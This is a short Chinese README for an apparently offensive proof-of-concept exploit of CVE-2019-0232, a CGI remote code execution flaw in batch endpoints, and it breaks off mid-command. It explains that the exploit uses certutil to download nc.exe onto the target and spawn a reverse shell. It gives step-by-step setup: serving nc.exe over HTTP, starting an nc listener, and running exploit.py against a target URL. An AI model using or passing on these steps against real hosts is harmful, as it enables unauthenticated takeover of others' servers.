CVE-2019-0232

CGI RCE 漏洞利用 通过 CGI 批处理端点实现未认证 RCE 的 PoC。使用 certutil 将 nc.exe 下载到目标主机，并触发反弹 shell。 设置 1. 托管 nc.exe （在 nc.exe 所在的同一目录下）： root@kitploit: python3 -m http.server 80 2. 启动你的监听器： root@kitploit: nc -lvnp 1234 3. 运行漏洞利用程序： root@kitploit: python3 exploit.py \ --url http://:/cgi/.bat \ --server-ip ...